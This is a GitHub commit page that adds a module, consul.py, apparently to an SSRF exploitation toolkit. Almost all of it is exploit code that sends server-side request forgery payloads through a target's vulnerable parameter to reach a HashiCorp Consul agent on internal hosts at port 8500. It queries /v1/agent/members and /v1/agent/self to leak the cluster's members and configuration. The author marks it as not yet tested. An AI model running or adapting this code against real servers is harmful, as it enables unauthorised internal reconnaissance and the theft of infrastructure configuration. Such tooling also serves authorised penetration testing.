Skip to content

Commit

Permalink
MODULE - Hashicorp Consul API
Browse files Browse the repository at this point in the history
  • Loading branch information
swisskyrepo committed Nov 18, 2018
1 parent 11187ca commit a5f1f36
Showing 1 changed file with 39 additions and 0 deletions.
39 changes: 39 additions & 0 deletions modules/consul.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
from core.utils import *
import logging
import json
import urllib.parse

# NOTE : NOT TESTED YET
# might need some editing to work properly !

name = "consul"
description = "Hashicorp Consul Info Leak - Open API"
author = "Swissky"
documentation = [
"https://www.consul.io/api/agent.html"
]

class exploit():

def __init__(self, requester, args):
logging.info("Module '{}' launched !".format(name))
gen_host = gen_ip_list("127.0.0.1", args.level)
port = "8500"

# List Members
for ip in gen_host:
data = "/v1/agent/members"
payload = wrapper_http(data, ip, port)
r = requester.do_request(args.param, payload)

if r.json:
print(r.json)

# Read Configuration
for ip in gen_host:
data = "/v1/agent/self"
payload = wrapper_http(data, ip, port)
r = requester.do_request(args.param, payload)

if r.json:
print(r.json)

0 comments on commit a5f1f36

Please sign in to comment.